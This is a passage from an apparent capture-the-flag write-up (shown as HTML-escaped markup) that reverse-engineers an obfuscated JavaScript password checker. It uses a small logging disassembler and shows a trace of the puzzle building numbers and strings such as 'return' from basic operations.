class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003earg1old\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003earg1\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003earg2old\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003earg2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elabels\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nx\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;getItem\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nx\"\u003eb\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;apply\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nx\"\u003ec\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;add\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nx\"\u003ed\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;fromCharCode\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nx\"\u003eg\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;passwordBytes\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nx\"\u003eѡ\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;bitwiseXOR\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nx\"\u003eѦ\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;bitwiseOR\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nx\"\u003eѐ\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;window\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nx\"\u003eј\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Array\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003egetNiceName\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esymbol\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elabels\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003esymbol\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"nx\"\u003esymbol\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003easync\u003c/span\u003e \u003cspan class=\"nx\"\u003elogFunctionCall\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e \u003cspan class=\"nx\"\u003eisInstance\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003easync\u003c/span\u003e \u003cspan class=\"nx\"\u003elogClassInstantiation\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e \u003cspan class=\"nx\"\u003eisInstance\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003easync\u003c/span\u003e \u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e \u003cspan class=\"nx\"\u003eisInstance\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003elhs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elhs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003efn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetNiceName\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003efn\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003earg1\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetNiceName\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003earg1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003earg2\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetNiceName\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003earg2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003earg1old\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003earg1old\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003earg2old\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003earg2old\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003ev\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elhs\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ev\u003c/span\u003e \u003cspan class=\"k\"\u003einstanceof\u003c/span\u003e \u003cspan class=\"nb\"\u003ePromise\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nx\"\u003ev\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kr\"\u003eawait\u003c/span\u003e \u003cspan class=\"nx\"\u003ev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003elhs\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e = \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eisInstance\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;new \u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e}${\u003c/span\u003e\u003cspan class=\"nx\"\u003efn\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e(\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003earg1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e, \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003earg2\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e) = \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003efn\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e(\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003earg1old\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e, \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003earg2old\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e) = \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003ev\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eWe alias and give names to some of the more important functions in \u003ccode\u003elabels\u003c/code\u003e, which should make it easier to understand the disassembly.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003edisassembler\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eExpressionDisassembler\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003elhs\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003efn\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003earg1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003earg2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003etry\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003elhs\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003efn\u003c/span\u003e\u003cspan class=\"p\"\u003e](\u003c/span\u003e\u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003earg1\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003earg2\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003eawait\u003c/span\u003e \u003cspan class=\"nx\"\u003edisassembler\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elogFunctionCall\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003ecatch\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003elhs\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003efn\u003c/span\u003e\u003cspan class=\"p\"\u003e](\u003c/span\u003e\u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003earg1\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003earg2\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003eawait\u003c/span\u003e \u003cspan class=\"nx\"\u003edisassembler\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elogClassInstantiation\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eWith our disassembler code interspersed, everything is ready. When we enter our sample password into the interface we'll get a dump of everything that happened.\u003c/p\u003e\n\u003cp\u003eFor reference, view \u003ca href=\"/js-safe/disassembly.txt\" rel=\"noreferrer nofollow noopener\"\u003ethe full disassembly\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eIf you recall from earlier, we're starting with almost nothing: the numbers 0 and 1 and some basic functions. Here we can see that the first step is to create more numbers.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ei = add(f, f) = add(1, 1) = 2\nj = add(i, f) = add(2, 1) = 3\nk = add(i, i) = add(2, 2) = 4\nl = add(k, f) = add(4, 1) = 5\nm = add(k, i) = add(4, 2) = 6\nn = add(m, f) = add(6, 1) = 7\no = add(k, k) = add(4, 4) = 8\np = add(o, f) = add(8, 1) = 9\nq = add(o, i) = add(8, 2) = 10\nr = add(q, f) = add(10, 1) = 11\ns = add(o, k) = add(8, 4) = 12\nt = add(s, f) = add(12, 1) = 13\nu = add(s, i) = add(12, 2) = 14\nv = add(u, f) = add(14, 1) = 15\nw = add(o, o) = add(8, 8) = 16\nx = add(w, f) = add(16, 1) = 17\ny = add(w, i) = add(16, 2) = 18\nA = add(y, f) = add(18, 1) = 19\nB = add(w, k) = add(16, 4) = 20\nC = add(B, f) = add(20, 1) = 21\nD = add(B, i) = add(20, 2) = 22\nE = add(D, f) = add(22, 1) = 23\nF = add(w, o) = add(16, 8) = 24\nG = add(F, f) = add(24, 1) = 25\nH = add(F, i) = add(24, 2) = 26\nI = add(H, f) = add(26, 1) = 27\nJ = add(F, k) = add(24, 4) = 28\nK = add(J, f) = add(28, 1) = 29\nL = add(J, i) = add(28, 2) = 30\nM = add(L, f) = add(30, 1) = 31\nN = add(w, w) = add(16, 16) = 32\nO = add(N, N) = add(32, 32) = 64\nP = add(O, O) = add(64, 64) = 128\nQ = add(P, O) = add(128, 64) = 192\nR = add(Q, N) = add(192, 32) = 224\nS = add(R, k) = add(224, 4) = 228\nT = add(S, i) = add(228, 2) = 230\nU = add(O, N) = add(64, 32) = 96\nV = add(U, o) = add(96, 8) = 104\nW = add(O, w) = add(64, 16) = 80\nX = add(W, k) = add(80, 4) = 84\nY = add(V, k) = add(104, 4) = 108\nЀ = add(Y, i) = add(108, 2) = 110\nЁ = add(Ѐ, f) = add(110, 1) = 111\nЂ = add(Q, o) = add(192, 8) = 200\nЃ = add(Ђ, k) = add(200, 4) = 204\nЄ = add(Ѓ, f) = add(204, 1) = 205\nЅ = add(P, N) = add(128, 32) = 160\nІ = add(Ѕ, w) = add(160, 16) = 176\nЇ = add(І, o) = add(176, 8) = 184\nЈ = add(Ї, i) = add(184, 2) = 186\nЉ = add(Ј, f) = add(186, 1) = 187\nЊ = add(P, k) = add(128, 4) = 132\nЋ = add(Њ, i) = add(132, 2) = 134\nЌ = add(І, i) = add(176, 2) = 178\nЍ = add(Ќ, f) = add(178, 1) = 179\nЎ = add(W, o) = add(80, 8) = 88\nЏ = add(Ў, k) = add(88, 4) = 92\nА = add(Џ, i) = add(92, 2) = 94\nБ = add(І, k) = add(176, 4) = 180\nВ = add(Б, f) = add(180, 1) = 181\nГ = add(N, k) = add(32, 4) = 36\nД = add(Г, f) = add(36, 1) = 37\nЕ = add(Ї, k) = add(184, 4) = 188\nЖ = add(Е, i) = add(188, 2) = 190\nЗ = add(Ж, f) = add(190, 1) = 191\nИ = add(R, w) = add(224, 16) = 240\nЙ = add(И, o) = add(240, 8) = 248\nК = add(Й, k) = add(248, 4) = 252\nЛ = add(U, k) = add(96, 4) = 100\nМ = add(Л, i) = add(100, 2) = 102\nН = add(М, f) = add(102, 1) = 103\nО = add(И, k) = add(240, 4) = 244\nП = add(О, i) = add(244, 2) = 246\nР = add(П, f) = add(246, 1) = 247\nС = add(U, w) = add(96, 16) = 112\nТ = add(С, i) = add(112, 2) = 114\nУ = add(Q, k) = add(192, 4) = 196\nФ = add(У, i) = add(196, 2) = 198\nХ = add(Ѓ, i) = add(204, 2) = 206\nЦ = add(Q, w) = add(192, 16) = 208\nЧ = add(Ц, o) = add(208, 8) = 216\nШ = add(Ч, k) = add(216, 4) = 220\nЩ = add(Ш, i) = add(220, 2) = 222\nЪ = add(Щ, f) = add(222, 1) = 223\nЫ = add(R, i) = add(224, 2) = 226\nЬ = add(Ы, f) = add(226, 1) = 227\nЭ = add(К, i) = add(252, 2) = 254\nЮ = add(Э, f) = add(254, 1) = 255\nЯ = add(С, o) = add(112, 8) = 120\nа = add(Я, i) = add(120, 2) = 122\nб = add(Г, i) = add(36, 2) = 38\nв = add(Й, i) = add(248, 2) = 250\nг = add(R, o) = add(224, 8) = 232\nд = add(г, k) = add(232, 4) = 236\nе = add(д, i) = add(236, 2) = 238\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNumbers are basic building blocks, so it makes sense that we would need a lot of them. Numbers can become characters, characters can become words, and words can become code.\u003c/p\u003e\n\u003cp\u003eHere the word \u003ccode\u003ereturn\u003c/code\u003e is built up character by character.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eж = fromCharCode(Т) = fromCharCode(114) = r\nз = add(Л, f) = add(100, 1) = 101\nи = fromCharCode(з) = fromCharCode(101) = e\nж = add(ж, и) = add(r, e) = re\nй = add(С, k) = add(112, 4) = 116\nк = fromCharCode(й) = fromCharCode(116) = t\nж = add(ж, к) = add(re, t) = ret\nл = add(й, f) = add(116, 1) = 117\nм = fromCharCode(л) = fromCharCode(117) = u\nж = add(ж, м) = add(ret, u) = retu\nн = fromCharCode(Т) = fromCharCode(114) = r\nж = add(ж, н) = add(retu, r) = retur\nо = fromCharCode(Ѐ) = fromCharCode(110) = n\nж = add(ж, о) = add(retur, n) = return\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eUsing the same technique, the code goes on to create a few more familiar strings such as  \u003ccode\u003econstructor\u003c/code\u003e, \u003ccode\u003ewindow\u003c/code\u003e, \u003ccode\u003eArray\u003c/code\u003e, 